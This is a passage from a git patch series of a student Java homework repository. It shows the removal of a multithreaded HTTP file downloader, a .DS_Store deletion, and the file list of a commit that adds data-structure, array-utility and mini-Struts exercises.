-				DownloadThread thread = new DownloadThread(c,startPos,endPos,file,this.getListener());
-				thread.setName("Thread"+(i+1) );
-				thread.start();
-			}
-
-		} catch (ConnectionException e) {
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-
-
-
-
-	}
-
-
-
-	public void setListener (DownloadListener listener){
-		this.listener = listener;
-	}
-
-	public synchronized static  boolean isDownloadFinish(){
-		threadCount++;
-		return threadCount == threadNum;
-	}
-
-
-
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
deleted file mode 100644
index ca8817ba88..0000000000
--- a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.zhous.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.zhous.download.api.ConnectionManager;
-import com.zhous.download.api.DownloadListener;
-import com.zhous.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-
-		String url="http://www.mydeskcity.com//upload/pc/112/960x600/1351650816239.jpg";
-		String github = "https://github.com/em14Vito/coding2017/archive/master.zip";
-
-//		FileDownloader downloader = new FileDownloader(url,"Data23.jpg");
-		FileDownloader downloader = new FileDownloader(github,"github.zip");
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-		downloader.execute();
-
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
deleted file mode 100644
index 170791e8ba..0000000000
--- a/group23/729693763/Third_Homework3/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.zhous.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos, int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
deleted file mode 100644
index 925368135d..0000000000
--- a/group23/729693763/Third_Homework3/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.zhous.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
deleted file mode 100644
index b331ee7f1f..0000000000
--- a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.zhous.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
deleted file mode 100644
index 07b1a950ce..0000000000
--- a/group23/729693763/Third_Homework3/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.zhous.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
deleted file mode 100644
index 6a4b98fe06..0000000000
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.zhous.download.impl;
-
-import java.io.ByteArrayOutputStream;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-
-import com.zhous.download.api.*;
-
-public class ConnectionImpl implements Connection{
-
-
-	InputStream is = null;
-	URL url = null;
-	HttpURLConnection http = null;
-	ByteArrayOutputStream bos = new ByteArrayOutputStream();
-
-	//构造方法：
-	public ConnectionImpl() {
-	}
-
-	//打开url并且创建连接
-	public ConnectionImpl(String url) {
-		try {
-			this.url = new URL(url);
-			http = (HttpURLConnection) this.url.openConnection();
-			//设置超时
-			http.setConnectTimeout(5000);
-			http.setReadTimeout(5000);
-
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-
-		//指定http中读取一定长度的byte
-		http.setRequestProperty("Range","bytes= "+Integer.toString(startPos)+"-"+Integer.toString(endPos));
-		http.connect();
-
-		//读取输入流到其中
-		is = http.getInputStream();
-		byte[] buffer = new byte[1024];
-		int len = 0;
-		while( (len = is.read(buffer) ) != -1) {
-
-			bos.write(buffer, 0, len);
-		}
-
-		//关闭所有流，每次read的时候自动关闭。
-		close();
-		return bos.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return http.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		try {
-			bos.close();
-			if(is != null) {
-				is.close();
-			}
-			http.disconnect();
-		} catch (IOException e) {
-			e.printStackTrace();
-			System.out.println(e.getMessage());
-		}
-	}
-
-}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 28af08a0cd..0000000000
--- a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.zhous.download.impl;
-
-import  com.zhous.download.api.*;
-
-import java.net.MalformedURLException;
-import java.net.URL;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection ct = null;
-		URL u = null;
-		try {
-			u = new URL(url);
-			ct = new ConnectionImpl(url);
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} finally {
-			//URL类不需要关闭
-		}
-		return ct;
-	}
-
-}
diff --git a/group23/group23.md b/group23/group23.md
deleted file mode 100644
index 8b13789179..0000000000
--- a/group23/group23.md
+++ /dev/null
@@ -1 +0,0 @@
-

From 58c9aadcc78e12681e40651d81bd79e1d64074c5 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Wed, 29 Mar 2017 00:11:28 +0800
Subject: [PATCH 025/262] 222

---
 group23/.DS_Store | Bin 6148 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 group23/.DS_Store

diff --git a/group23/.DS_Store b/group23/.DS_Store
deleted file mode 100644
index 7e3e6cfac417bbd05dee75c3fbd8899a17aaca99..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 6148
zcmeHLK}th05S`I3if+1enIrfWtjkcoC+G!)e$a)bUD$mt=+0Ys3E#_%@;{9r2qH2A
znKwyhlIeq=WGW)MIt-o2LPX|hM5WOX4mYPx+<6Any2iEKNGD6^Wn-bgIK<q~kn^Qn
z$*qj?e|qTFo85LlO1kN{-Sz!&c;1M-zP+rf_ZNP{xBT{xNBfRa2s0Q627-ZLAQ<>D
z1Guv(^K-+{!9Xw&416-c^C6)Tvtu!=M+a0b0f2l)SAor1f-%W4I~GICK-5Bk7OGxi
zsD)!ZxnFiHh88aB#fSRNAH|E--LZbE?xNW+bTAMMOc^+}?t=IK9X^?6kv|QIUN8_0
z{4)l0)~|d1b>(;K(a+;uo6zpjDD*2dAh0Ko0CaecT+~UMPqg8e9g87X;dl)P#zUYI
L5-J$@1qR*$%DN@j


From 189f74d2acd199bfa7546ca8ba24d8b8735f6d21 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Wed, 29 Mar 2017 00:20:04 +0800
Subject: [PATCH 026/262] 33

---
 group23/1028361767/1028361767.md              |   1 +
 .../src/com/coderising/array/ArrayUtil.java   | 210 +++++++++
 .../coderising/download/DownloadThread.java   |  31 ++
 .../coderising/download/FileDownloader.java   | 104 +++++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  26 ++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  62 +++
 .../download/impl/ConnectionManagerImpl.java  |  26 ++
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java | 181 ++++++++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/ArrayList.java       |  80 ++++
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 +++++
 .../src/com/coding/basic/Iterator.java        |   8 +
 .../src/com/coding/basic/LinkedList.java      | 399 ++++++++++++++++++
 .../src/com/coding/basic/List.java            |  13 +
 .../src/com/coding/basic/Queue.java           |  22 +
 .../src/com/coding/basic/Stack.java           |  35 ++
 .../test/com/coding/basic/TestArrayList.java  |  60 +++
 .../com/coding/basic/TestBinaryTreeNode.java  |  37 ++
 .../test/com/coding/basic/TestLinkedList.java | 176 ++++++++
 .../src/com/skomefen/list/ArrayList.java      |  83 ++++
 .../com/skomefen/list/ArrayListIterator.java  |  25 ++
 .../src/com/skomefen/list/BinaryTreeNode.java |  32 ++
 .../src/com/skomefen/list/Iterator.java       |   7 +
 .../src/com/skomefen/list/LinkedList.java     | 252 +++++++++++
 .../com/skomefen/list/LinkedListiterator.java |  25 ++
 .../day3-11/src/com/skomefen/list/List.java   |   9 +
 .../day3-11/src/com/skomefen/list/Queue.java  |  26 ++
 .../day3-11/src/com/skomefen/list/Stack.java  |  28 ++
 .../day3-11/src/com/skomefen/test/test.java   | 109 +++++
 .../src/com/coderising/array/ArrayUtil.java   | 117 +++++
 .../com/coderising/litestruts/StrutsTest.java |  54 +++
 .../coderising/download/DownloadThread.java   |  65 +++
 .../coderising/download/FileDownloader.java   |  89 ++++
 .../download/FileDownloaderTest.java          |  58 +++
 .../coderising/download/api/Connection.java   |  24 ++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         | 143 +++++++
 .../download/impl/ConnectionManagerImpl.java  |  16 +
 .../src/junit/test/ConnectionImplTest.java    |  92 ++++
 .../junit/test/ConnectionManagerImplTest.java |  31 ++
 .../src/junit/test/DownloadThreadTest.java    |  77 ++++
 .../src/com/coding/datastructs/ArrayList.java |  98 +++++
 .../src/com/coding/datastructs/Iterator.java  |   7 +
 .../com/coding/datastructs/LinkedList.java    | 229 ++++++++++
 .../src/com/coding/datastructs/List.java      |   9 +
 .../com/coding/datastructs/MyIterator.java    |  35 ++
 .../src/com/coding/datastructs/Queue.java     |  30 ++
 .../src/com/coding/datastructs/Stack.java     |  33 ++
 .../src/com/coding/test/ArrayListTest.java    |  32 ++
 .../src/com/coding/test/LinkedListTest.java   |  28 ++
 .../src/com/coding/test/QueueTest.java        |  22 +
 .../src/com/coding/test/StackTest.java        |  25 ++
 .../com/coding/datastructs/ArrayUtil.java"    | 141 +++++++
 .../src/com/coding/test/ArrayUtilTest.java"   |  86 ++++
 .../coderising/litestruts/LoginAction.java"   |  35 ++
 .../com/coderising/litestruts/Struts.java"    | 122 ++++++
 .../coderising/litestruts/StrutsTest.java"    |  43 ++
 .../src/com/coderising/litestruts/Test.java"  |  94 +++++
 .../src/com/coderising/litestruts/View.java"  |  23 +
 .../src/com/coderising/array/ArrayUtil.java   |  96 +++++
 .../coderising/download/DownloadThread.java   |  20 +
 .../coderising/download/FileDownloader.java   |  73 ++++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  27 ++
 .../download/impl/ConnectionManagerImpl.java  |  15 +
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java |  37 ++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/ArrayList.java       |  32 ++
 .../src/com/coding/basic/BinaryTreeNode.java  |  32 ++
 .../src/com/coding/basic/Iterator.java        |   7 +
 .../src/com/coding/basic/LinkedList.java      | 122 ++++++
 .../565832157/src/com/coding/basic/List.java  |   9 +
 .../565832157/src/com/coding/basic/Queue.java |  19 +
 .../565832157/src/com/coding/basic/Stack.java |  22 +
 group23/601689050/ArrayList.java              |  58 +++
 group23/601689050/BinaryTreeNode.java         |  50 +++
 group23/601689050/Iterator.java               |   7 +
 group23/601689050/LinkedList.java             | 117 +++++
 group23/601689050/List.java                   |  10 +
 group23/601689050/Queue.java                  |  45 ++
 group23/601689050/Stack.java                  |  39 ++
 group23/609041842/src/code/ArrayList.java     |  49 +++
 group23/609041842/src/code/LinkedList.java    |  87 ++++
 group23/609041842/src/code/Queue.java         |  17 +
 group23/609041842/src/code/Stack.java         |  30 ++
 .../src/com/homework01/ArrayList.java         |  49 +++
 .../src/com/homework01/LinkedList.java        |  87 ++++
 .../609041842/src/com/homework01/Queue.java   |  17 +
 .../609041842/src/com/homework01/Stack.java   |  30 ++
 group23/609041842/src/test.java               |   9 +
 .../com/basic/datastructure/ArrayList.java    |  64 +++
 .../com/basic/datastructure/LinkedList.java   |  98 +++++
 .../com/basic/datastructure/List.java         |   9 +
 .../com/basic/datastructure/Queue.java        |  23 +
 .../com/basic/datastructure/Stack.java        |  29 ++
 .../datastructure/TestDataStructure.java      |  27 ++
 .../basic/week2/datastructure/ArrayTest.java  |  50 +++
 .../basic/week2/datastructure/ArrayUtil.java  | 228 ++++++++++
 group23/729693763/First_Homework1/readme.md   |   2 +
 .../src/com/danny/hw1/ArrayList.java          | 117 +++++
 .../src/com/danny/hw1/BinaryTreeNode.java     | 101 +++++
 .../src/com/danny/hw1/Iterator.java           |   6 +
 .../src/com/danny/hw1/LinkedList.java         | 296 +++++++++++++
 .../src/com/danny/hw1/List.java               |  10 +
 .../src/com/danny/hw1/Queue.java              |  25 ++
 .../src/com/danny/hw1/Stack.java              |  40 ++
 .../src/com/danny/hw1/test/ArrayListTest.java |  80 ++++
 .../danny/hw1/test/BinaryTreeNodeTest.java    |  48 +++
 .../com/danny/hw1/test/LinkedListTest.java    |  86 ++++
 .../src/com/danny/hw1/test/QueueTest.java     |  47 +++
 .../src/com/danny/hw1/test/StackTest.java     |  54 +++
 .../src/com/danny/hw1/test/SuitTest.java      |  17 +
 .../src/com/danny/hw2/ArrayUtil.java          | 221 ++++++++++
 .../src/com/danny/hw2/LoginAction.java        |  39 ++
 .../src/com/danny/hw2/Struts.java             | 163 +++++++
 .../src/com/danny/hw2/View.java               |  23 +
 .../src/com/danny/hw2/test/ArrayUtilTest.java |  95 +++++
 .../src/com/danny/hw2/test/StrutsTest.java    |  46 ++
 .../Third_Homework3/DataStruct/Iterator.java  |   6 +
 .../DataStruct/LinkedList.java                | 327 ++++++++++++++
 .../Third_Homework3/DataStruct/List.java      |  10 +
 .../download/DownloadThread.java              |  49 +++
 .../download/FileDownloader.java              |  96 +++++
 .../download/FileDownloaderTest.java          |  58 +++
 .../download/api/Connection.java              |  23 +
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  80 ++++
 .../download/impl/ConnectionManagerImpl.java  |  27 ++
 .../729693763/homework1_demo/ArrayList.java   |  32 ++
 .../homework1_demo/BinaryTreeNode.java        |  32 ++
 .../729693763/homework1_demo/Iterator.java    |   7 +
 .../729693763/homework1_demo/LinkedList.java  | 124 ++++++
 group23/729693763/homework1_demo/List.java    |   9 +
 group23/729693763/homework1_demo/Queue.java   |  19 +
 group23/729693763/homework1_demo/Stack.java   |  22 +
 group23/729693763/readme.md                   |  12 +
 .../src/main/java/code01/ArrayList.java       | 138 ++++++
 .../src/main/java/code01/BinaryTree.java      |  97 +++++
 .../coding/src/main/java/code01/Iterator.java |   7 +
 .../src/main/java/code01/LinkedList.java      | 327 ++++++++++++++
 .../coding/src/main/java/code01/List.java     |   9 +
 .../coding/src/main/java/code01/Queue.java    |  24 ++
 .../coding/src/main/java/code01/Stack.java    |  31 ++
 .../src/main/java/code02/ArrayUtil.java       | 257 +++++++++++
 .../java/code02/litestruts/ActionConfig.java  |  28 ++
 .../java/code02/litestruts/Configuration.java |  64 +++
 .../java/code02/litestruts/LoginAction.java   |  39 ++
 .../code02/litestruts/ReflectionUtil.java     | 119 ++++++
 .../main/java/code02/litestruts/Struts.java   |  76 ++++
 .../src/main/java/code02/litestruts/View.java |  23 +
 .../src/main/java/code03/DownloadThread.java  |  47 +++
 .../src/main/java/code03/FileDownloader.java  | 109 +++++
 .../src/main/java/code03/api/Connection.java  |  23 +
 .../java/code03/api/ConnectionException.java  |   9 +
 .../java/code03/api/ConnectionManager.java    |  10 +
 .../java/code03/api/DownloadListener.java     |   5 +
 .../main/java/code03/impl/ConnectionImpl.java | 107 +++++
 .../code03/impl/ConnectionManagerImpl.java    |  36 ++
 .../src/test/java/code01/ArrayListTest.java   |  67 +++
 .../src/test/java/code01/BinaryTreeTest.java  |  27 ++
 .../src/test/java/code01/LinkedListTest.java  | 174 ++++++++
 .../src/test/java/code01/QueueTest.java       |  24 ++
 .../src/test/java/code01/StackTest.java       |  27 ++
 .../src/test/java/code02/ArrayUtilTest.java   |  73 ++++
 .../java/code02/litestruts/StrutsTest.java    |  43 ++
 .../test/java/code03/FileDownloaderTest.java  |  59 +++
 .../810181789/src/firstday/ArrayListt.java    |  86 ++++
 group23/810181789/src/firstday/LinkListt.java | 167 ++++++++
 group23/810181789/src/firstday/Queue.java     |  43 ++
 group23/810181789/src/firstday/Stack.java     |  43 ++
 group23/group23.md                            |   1 +
 187 files changed, 11061 insertions(+)
 create mode 100644 group23/1028361767/1028361767.md
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestArrayList.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestBinaryTreeNode.java
 create mode 100644 group23/1028361767/Week1DataStructure/src/test/com/coding/basic/TestLinkedList.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedListiterator.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/List.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Queue.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Stack.java
 create mode 100644 group23/1072760797-skomefen/day3-11/src/com/skomefen/test/test.java
 create mode 100644 group23/1072760797-skomefen/day3-19/src/com/coderising/array/ArrayUtil.java
 create mode 100644 group23/1072760797-skomefen/day3-19/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionImplTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/ConnectionManagerImplTest.java
 create mode 100644 group23/1072760797-skomefen/day3-26/src/junit/test/DownloadThreadTest.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/ArrayList.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/Iterator.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/LinkedList.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/List.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/MyIterator.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/Queue.java
 create mode 100644 group23/1246614258/src/com/coding/datastructs/Stack.java
 create mode 100644 group23/1246614258/src/com/coding/test/ArrayListTest.java
 create mode 100644 group23/1246614258/src/com/coding/test/LinkedListTest.java
 create mode 100644 group23/1246614258/src/com/coding/test/QueueTest.java
 create mode 100644 group23/1246614258/src/com/coding/test/StackTest.java
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
 create mode 100644 "group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
 create mode 100644 group23/565832157/src/com/coderising/array/ArrayUtil.java
 create mode 100644 group23/565832157/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/565832157/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/565832157/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/565832157/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/565832157/src/com/coderising/litestruts/View.java
 create mode 100644 group23/565832157/src/com/coding/basic/ArrayList.java
 create mode 100644 group23/565832157/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/565832157/src/com/coding/basic/Iterator.java
 create mode 100644 group23/565832157/src/com/coding/basic/LinkedList.java
 create mode 100644 group23/565832157/src/com/coding/basic/List.java
 create mode 100644 group23/565832157/src/com/coding/basic/Queue.java
 create mode 100644 group23/565832157/src/com/coding/basic/Stack.java
 create mode 100644 group23/601689050/ArrayList.java
 create mode 100644 group23/601689050/BinaryTreeNode.java
 create mode 100644 group23/601689050/Iterator.java
 create mode 100644 group23/601689050/LinkedList.java
 create mode 100644 group23/601689050/List.java
 create mode 100644 group23/601689050/Queue.java
 create mode 100644 group23/601689050/Stack.java
 create mode 100644 group23/609041842/src/code/ArrayList.java
 create mode 100644 group23/609041842/src/code/LinkedList.java
 create mode 100644 group23/609041842/src/code/Queue.java
 create mode 100644 group23/609041842/src/code/Stack.java
 create mode 100644 group23/609041842/src/com/homework01/ArrayList.java
 create mode 100644 group23/609041842/src/com/homework01/LinkedList.java
 create mode 100644 group23/609041842/src/com/homework01/Queue.java
 create mode 100644 group23/609041842/src/com/homework01/Stack.java
 create mode 100644 group23/609041842/src/test.java
 create mode 100644 group23/632678665/com/basic/datastructure/ArrayList.java
 create mode 100644 group23/632678665/com/basic/datastructure/LinkedList.java
 create mode 100644 group23/632678665/com/basic/datastructure/List.java
 create mode 100644 group23/632678665/com/basic/datastructure/Queue.java
 create mode 100644 group23/632678665/com/basic/datastructure/Stack.java
 create mode 100644 group23/632678665/com/basic/datastructure/TestDataStructure.java
 create mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayTest.java
 create mode 100644 group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
 create mode 100644 group23/729693763/First_Homework1/readme.md
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/List.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
 create mode 100644 group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
 create mode 100644 group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/Iterator.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/LinkedList.java
 create mode 100644 group23/729693763/Third_Homework3/DataStruct/List.java
